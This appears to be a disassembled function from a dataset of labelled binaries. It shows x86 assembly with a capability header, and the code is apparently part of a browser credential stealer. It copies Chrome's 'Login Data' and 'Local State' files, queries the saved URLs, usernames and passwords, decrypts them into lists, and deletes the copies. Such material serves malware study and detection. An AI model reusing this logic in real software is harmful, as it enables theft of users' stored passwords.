Function at 0x44bea0
Capabilities:
Check if file exists
Get common file path
Get file attributes
Get startup folder

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5a8651
mov eax, dword fs:[0]
push eax
sub esp, 0x340
mov eax, dword [0x609e44]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x348], edx
mov esi, ecx
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x34c], eax
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x32c], eax
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0x344], eax
mov dword [ebp - 4], 0
xor eax, eax
mov dword [ebp - 0x278], 0
mov dword [ebp - 0x268], 0
mov dword [ebp - 0x264], 7
mov word [ebp - 0x278], ax
mov dword [ebp - 0x310], eax
mov dword [ebp - 0x300], eax
mov dword [ebp - 0x2fc], 7
mov word [ebp - 0x310], ax
mov dword [ebp - 0x2c0], eax
mov dword [ebp - 0x2b0], eax
mov dword [ebp - 0x2ac], 7
mov word [ebp - 0x2c0], ax
mov dword [ebp - 0x2f8], eax
mov dword [ebp - 0x2e8], eax
mov dword [ebp - 0x2e4], 7
mov word [ebp - 0x2f8], ax
mov dword [ebp - 0x248], eax
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x234], 7
mov word [ebp - 0x248], ax
lea eax, [ebp - 0x218]
mov byte [ebp - 4], 5
push eax
push 0
push 0
push 0x1c
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x44ca21
lea ecx, [ebp - 0x218]
mov dword [ebp - 0x260], 0
mov dword [ebp - 0x250], 0
lea edx, [ecx + 2]
mov dword [ebp - 0x24c], 7
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x44bfe0
sub ecx, edx
lea eax, [ebp - 0x218]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x260]
call fcn.0044f800
lea eax, [ebp - 0x260]
push eax
lea ecx, [ebp - 0x278]
call fcn.0044df00
mov ecx, dword [ebp - 0x24c]
cmp ecx, 8
jb 0x44c056
mov edx, dword [ebp - 0x260]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x44c04c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x44c04c
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.005a702b
add esp, 8
push 0x18
push ecx
lea ecx, [ebp - 0x278]
call fcn.0044e5e0
cmp dword [ebp - 0x264], 8
lea eax, [ebp - 0x278]
cmovae eax, dword [ebp - 0x278]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x44c08e
mov esi, str.Google_Chrome_not_found
jmp 0x44ca26
xor eax, eax
xor edi, edi
mov dword [ebp - 0x330], eax
mov dword [ebp - 0x31c], eax
mov dword [ebp - 0x320], edi
test esi, esi
je 0x44ca1a
push esi
call dword [sym.imp.dbghelp.dll_ImageNtHeader]
xor ecx, ecx
mov dword [ebp - 0x318], ecx
mov ebx, dword [eax + 0x78]
mov eax, dword [esi + ebx + 0x14]
lea edx, [esi + ebx]
mov dword [ebp - 0x33c], eax
mov eax, dword [edx + 0x24]
add eax, esi
mov dword [ebp - 0x324], ebx
mov esi, dword [edx + 0x1c]
mov dword [ebp - 0x334], eax
sub esi, ebx
mov eax, dword [edx + 0x20]
add esi, edx
sub eax, ebx
mov dword [ebp - 0x340], edx
add eax, edx
mov dword [ebp - 0x314], esi
mov dword [ebp - 0x338], eax
cmp dword [edx + 0x14], ecx
jbe 0x44c1d1
nop word [eax + eax]
mov eax, dword [ebp - 0x334]
movzx eax, word [eax + ecx*2]
mov esi, dword [esi + eax*4]
mov eax, dword [ebp - 0x338]
sub esi, ebx
add esi, edx
mov ecx, dword [eax + ecx*4]
sub ecx, ebx
add ecx, edx
mov edx, str.CopyFileW
mov eax, ecx
mov bl, byte [eax]
cmp bl, byte [edx]
jne 0x44c155
test bl, bl
je 0x44c151
mov bl, byte [eax + 1]
cmp bl, byte [edx + 1]
jne 0x44c155
add eax, 2
add edx, 2
test bl, bl
jne 0x44c135
xor eax, eax
jmp 0x44c15a
sbb eax, eax
or eax, 1
mov ebx, dword [ebp - 0x330]
test eax, eax
mov eax, 0x5fe5a4
cmove ebx, esi
mov dword [ebp - 0x330], ebx
mov dword [ebp - 0x31c], ebx
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x44c196
test dl, dl
je 0x44c192
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x44c196
add ecx, 2
add eax, 2
test dl, dl
jne 0x44c176
xor eax, eax
jmp 0x44c19b
sbb eax, eax
or eax, 1
mov ecx, dword [ebp - 0x318]
test eax, eax
mov edx, dword [ebp - 0x340]
mov ebx, dword [ebp - 0x324]
cmove edi, esi
mov esi, dword [ebp - 0x314]
inc ecx
mov dword [ebp - 0x318], ecx
cmp ecx, dword [ebp - 0x33c]
jb 0x44c110
mov dword [ebp - 0x320], edi
push str.Local_State
lea edx, [ebp - 0x278]
lea ecx, [ebp - 0x230]
call fcn.0044e8c0
add esp, 4
lea ecx, [ebp - 0x310]
push eax
call fcn.0044df00
mov ecx, dword [ebp - 0x21c]
cmp ecx, 8
jb 0x44c238
mov edx, dword [ebp - 0x230]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x44c22e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x44c22e
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.005a702b
add esp, 8
push str.loc.tmp
lea edx, [ebp + 8]
lea ecx, [ebp - 0x230]
call fcn.0044e8c0
add esp, 4
lea ecx, [ebp - 0x2c0]
push eax
call fcn.0044df00
mov ecx, dword [ebp - 0x21c]
cmp ecx, 8
jb 0x44c29c
mov edx, dword [ebp - 0x230]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x44c292
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x44c292
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.005a702b
add esp, 8
push str.DefaultLogin_data
lea edx, [ebp - 0x278]
lea ecx, [ebp - 0x230]
call fcn.0044e8c0
add esp, 4
lea ecx, [ebp - 0x2f8]
push eax
call fcn.0044df00
mov ecx, dword [ebp - 0x21c]
cmp ecx, 8
jb 0x44c303
mov edx, dword [ebp - 0x230]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x44c2f9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x44c2f9
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.005a702b
add esp, 8
push str.log.tmp
lea edx, [ebp + 8]
lea ecx, [ebp - 0x230]
call fcn.0044e8c0
add esp, 4
lea ecx, [ebp - 0x248]
push eax
call fcn.0044df00
mov ecx, dword [ebp - 0x21c]
cmp ecx, 8
jb 0x44c367
mov edx, dword [ebp - 0x230]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x44c35d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x44c35d
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.005a702b
add esp, 8
push 0
sub esp, 0x18
lea eax, [ebp - 0x2c0]
mov ecx, esp
mov dword [ebp - 0x314], esp
push eax
call fcn.0044df90
sub esp, 0x18
mov byte [ebp - 4], 6
lea eax, [ebp - 0x310]
mov ecx, esp
push eax
call fcn.0044df90
lea edx, [ebp - 0x31c]
mov byte [ebp - 4], 5
call fcn.0044bd30
add esp, 0x34
test al, al
jne 0x44c3b5
mov esi, str.Not_able_to_copy_login_state_file
jmp 0x44ca26
push 0
sub esp, 0x18
lea eax, [ebp - 0x248]
mov ecx, esp
mov dword [ebp - 0x314], esp
push eax
call fcn.0044df90
sub esp, 0x18
mov byte [ebp - 4], 7
lea eax, [ebp - 0x2f8]
mov ecx, esp
push eax
call fcn.0044df90
lea edx, [ebp - 0x31c]
mov byte [ebp - 4], 5
call fcn.0044bd30
add esp, 0x34
test al, al
jne 0x44c403
mov esi, str.Not_able_to_copy_local_state_file
jmp 0x44ca26
sub esp, 0x18
lea eax, [ebp - 0x2c0]
mov ecx, esp
lea esi, [ebp - 0x2c8]
push eax
call fcn.0044df90
mov ecx, esi
call fcn.0044b9a0
mov esi, eax
add esp, 0x18
test esi, esi
jne 0x44ca26
cmp dword [ebp - 0x234], 8
lea ecx, [ebp - 0x248]
mov eax, dword [ebp - 0x238]
cmovae ecx, dword [ebp - 0x248]
lea eax, [ecx + eax*2]
lea ecx, [ebp - 0x248]
cmovae ecx, dword [ebp - 0x248]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x2e0]
call fcn.0044e9c0
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x2e0]
cmp dword [ebp - 0x2cc], 0x10
lea edx, [ebp - 0x318]
push esi
cmovae ecx, dword [ebp - 0x2e0]
push 6
call fcn.004f7f90
add esp, 8
test eax, eax
je 0x44c49d
mov esi, str.Not_abLE_TO_OPEN_DATABASE
jmp 0x44c9c3
mov ecx, dword [ebp - 0x318]
lea eax, [ebp - 0x314]
push 0
push eax
push 0
push 0x80
push 0xffffffffffffffff
mov edx, str.SELECT_action_url__username_value__password_value_FROM_logins
call fcn.004c3260
add esp, 0x14
test eax, eax
je 0x44c4d0
mov esi, str.Not_able_to_connect_to_database
jmp 0x44c9c3
mov esi, dword [ebp - 0x314]
push esi
call fcn.00480bf0
add esp, 4
cmp eax, 0x65
je 0x44c95a
mov dword [ebp - 0x328], 0
lea eax, [ebp - 0x210]
mov dword [ebp - 0x324], eax
mov ebx, 2
test esi, esi
je 0x44c542
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x44c51a
push eax
call dword [0x609ee0]
add esp, 4
mov ecx, dword [esi + 0x78]
test ecx, ecx
je 0x44c52f
cmp bx, word [esi + 0x90]
jae 0x44c52f
add ecx, 0x50
jmp 0x44c547
mov ecx, dword [esi]
mov edx, 0x19
mov dword [ecx + 0x40], 0x19
call fcn.0045b6a0
mov ecx, 0x5fad40
movzx eax, word [ecx + 8]
test al, 2
je 0x44c55a
cmp byte [ecx + 0xa], 1
jne 0x44c55a
mov edi, dword [ecx + 0xc]
jmp 0x44c583
test al, 0x10
je 0x44c572
mov edx, dword [ecx + 0xc]
test eax, 0x4000
je 0x44c56e
mov edi, dword [ecx]
add edi, edx
jmp 0x44c583
mov edi, edx
jmp 0x44c583
test al, 1
je 0x44c57a
xor edi, edi
jmp 0x44c583
mov dl, 1
call fcn.0047a070
mov edi, eax
test esi, esi
je 0x44c5fb
mov ecx, dword [esi]
mov edx, dword [esi + 0x28]
cmp byte [ecx + 0x51], 0
jne 0x44c5a1
cmp edx, 0xc0a
je 0x44c5a1
mov eax, dword [ecx + 0x44]
and eax, edx
jmp 0x44c5a6
call fcn.00458710
mov dword [esi + 0x28], eax
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x44c5bc
push eax
call dword [0x609ee8]
add esp, 4
test esi, esi
je 0x44c5fb
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x44c5d3
push eax
call dword [0x609ee0]
add esp, 4
mov eax, dword [esi + 0x78]
test eax, eax
je 0x44c5e8
cmp bx, word [esi + 0x90]
jae 0x44c5e8
add eax, 0x50
jmp 0x44c600
mov ecx, dword [esi]
mov edx, 0x19
mov dword [ecx + 0x40], 0x19
call fcn.0045b6a0
mov eax, 0x5fad40
push eax
call fcn.0047fc00
add esp, 4
mov ebx, eax
mov dword [ebp - 0x314], ebx
test esi, esi
je 0x44c64a
mov ecx, dword [esi]
mov edx, dword [esi + 0x28]
cmp byte [ecx + 0x51], 0
jne 0x44c62f
cmp edx, 0xc0a
je 0x44c62f
mov eax, dword [ecx + 0x44]
and eax, edx
jmp 0x44c634
call fcn.00458710
mov dword [esi + 0x28], eax
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x44c64a
push eax
call dword [0x609ee8]
add esp, 4
mov ecx, ebx
mov dword [ebp - 0x230], 0
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 0xf
mov byte [ebp - 0x230], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44c674
sub ecx, edx
push ecx
push ebx
lea ecx, [ebp - 0x230]
call fcn.0044e460
push 0
push esi
mov byte [ebp - 4], 9
call fcn.00481730
mov edx, eax
mov dword [ebp - 0x260], 0
mov ecx, edx
mov dword [ebp - 0x250], 0
add esp, 8
mov dword [ebp - 0x24c], 0xf
mov byte [ebp - 0x260], 0
lea ebx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44c6c5
sub ecx, ebx
push ecx
push edx
lea ecx, [ebp - 0x260]
call fcn.0044e460
push 1
push esi
mov byte [ebp - 4], 0xa
call fcn.00481730
mov edx, eax
mov dword [ebp - 0x2a8], 0
mov ecx, edx
mov dword [ebp - 0x298], 0
add esp, 8
mov dword [ebp - 0x294], 0xf
mov byte [ebp - 0x2a8], 0
lea ebx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44c716
sub ecx, ebx
push ecx
push edx
lea ecx, [ebp - 0x2a8]
call fcn.0044e460
mov byte [ebp - 4], 0xb
cmp dword [ebp - 0x250], 0
je 0x44c897
cmp dword [ebp - 0x298], 0
je 0x44c897
push dword [ebp - 0x2c4]
lea ecx, [ebp - 0x328]
push dword [ebp - 0x2c8]
push dword [ebp - 0x314]
push edi
call fcn.0044bc40
add esp, 0x10
test eax, eax
je 0x44c897
mov edx, dword [ebp - 0x324]
mov ecx, edx
mov dword [ebp - 0x290], 0
mov dword [ebp - 0x280], 0
mov dword [ebp - 0x27c], 0xf
mov byte [ebp - 0x290], 0
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44c7a3
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x290]
call fcn.0044e460
mov eax, dword [ebp - 0x344]
mov byte [ebp - 4], 0xc
inc dword [eax]
cmp dword [ebp - 0x280], 0
je 0x44c859
mov ebx, dword [ebp - 0x348]
lea ecx, [ebp - 0x260]
push ecx
mov eax, dword [ebx + 4]
cmp eax, dword [ebx + 8]
je 0x44c7f7
mov edx, eax
call fcn.0044ece0
add esp, 4
add dword [ebx + 4], 0x18
jmp 0x44c7ff
push eax
mov ecx, ebx
call fcn.0044eda0
mov ebx, dword [ebp - 0x34c]
lea ecx, [ebp - 0x2a8]
push ecx
mov eax, dword [ebx + 4]
cmp eax, dword [ebx + 8]
je 0x44c824
mov edx, eax
call fcn.0044ece0
add esp, 4
add dword [ebx + 4], 0x18
jmp 0x44c82c
push eax
mov ecx, ebx
call fcn.0044eda0
mov ebx, dword [ebp - 0x32c]
lea ecx, [ebp - 0x290]
push ecx
mov eax, dword [ebx + 4]
cmp eax, dword [ebx + 8]
je 0x44c851
mov edx, eax
call fcn.0044ece0
add esp, 4
add dword [ebx + 4], 0x18
jmp 0x44c859
push eax
mov ecx, ebx
call fcn.0044eda0
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x27c]
cmp ecx, 0x10
jb 0x44c897
mov edx, dword [ebp - 0x290]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44c88d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44c046
push ecx
push edx
call fcn.005a702b
add esp, 8
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x294]
cmp ecx, 0x10
jb 0x44c8d5
mov edx, dword [ebp - 0x2a8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44c8cb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44c046
push ecx
push edx
call fcn.005a702b
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x24c]
cmp ecx, 0x10
jb 0x44c913
mov edx, dword [ebp - 0x260]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44c909
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44c046
push ecx
push edx
call fcn.005a702b
add esp, 8
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x21c]
cmp ecx, 0x10
jb 0x44c4d6
mov edx, dword [ebp - 0x230]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44c94b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44c046
push ecx
push edx
call fcn.005a702b
add esp, 8
jmp 0x44c4d6
push esi
call fcn.0047f9b0
mov ecx, dword [ebp - 0x318]
xor edx, edx
call fcn.004f5b50
sub esp, 0x14
lea eax, [ebp - 0x248]
mov ecx, esp
push eax
call fcn.0044df90
lea ecx, [ebp - 0x320]
call fcn.0044be10
add esp, 0x18
test al, al
jne 0x44c997
mov esi, str.not_able_to_delete_database_file
jmp 0x44c9c3
sub esp, 0x18
lea eax, [ebp - 0x2c0]
mov ecx, esp
push eax
call fcn.0044df90
lea ecx, [ebp - 0x320]
call fcn.0044be10
add esp, 0x18
test al, al
jne 0x44c9c1
mov esi, str.not_able_to_delete_local_state_file
jmp 0x44c9c3
xor esi, esi
mov ecx, dword [ebp - 0x2cc]
cmp ecx, 0x10
jb 0x44c9fd
mov edx, dword [ebp - 0x2e0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44c9f3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44cbc8
push ecx
push edx
call fcn.005a702b
add esp, 8
mov dword [ebp - 0x2d0], 0
mov dword [ebp - 0x2cc], 0xf
mov byte [ebp - 0x2e0], 0
jmp 0x44ca26
mov esi, str.Not_able_to_load_Copy_and_Delete_module
jmp 0x44ca26
mov esi, str._Not_able_to_get_profile
mov ecx, dword [ebp - 0x234]
cmp ecx, 8
jb 0x44ca66
mov edx, dword [ebp - 0x248]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x44ca5c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44cbc8
push ecx
push edx
call fcn.005a702b
add esp, 8
mov ecx, dword [ebp - 0x2e4]
xor eax, eax
mov dword [ebp - 0x238], 0
mov dword [ebp - 0x234], 7
mov word [ebp - 0x248], ax
cmp ecx, 8
jb 0x44cac3
mov edx, dword [ebp - 0x2f8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x44cab9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44cbc8
push ecx
push edx
call fcn.005a702b
add esp, 8
mov ecx, dword [ebp - 0x2ac]
cmp ecx, 8
jb 0x44cb03
mov edx, dword [ebp - 0x2c0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x44caf9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44cbc8
push ecx
push edx
call fcn.005a702b
add esp, 8
mov ecx, dword [ebp - 0x2fc]
cmp ecx, 8
jb 0x44cb43
mov edx, dword [ebp - 0x310]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x44cb39
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44cbc8
push ecx
push edx
call fcn.005a702b
add esp, 8
mov ecx, dword [ebp - 0x264]
cmp ecx, 8
jb 0x44cb7f
mov edx, dword [ebp - 0x278]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x44cb75
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44cbc8
push ecx
push edx
call fcn.005a702b
add esp, 8
mov ecx, dword [ebp + 0x1c]
xor eax, eax
mov dword [ebp - 0x268], 0
mov dword [ebp - 0x264], 7
mov word [ebp - 0x278], ax
cmp ecx, 8
jb 0x44cbd8
mov edx, dword [ebp + 8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x44cbce
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x44cbce
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.005a702b
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.005a6fed
mov esp, ebp
pop ebp
ret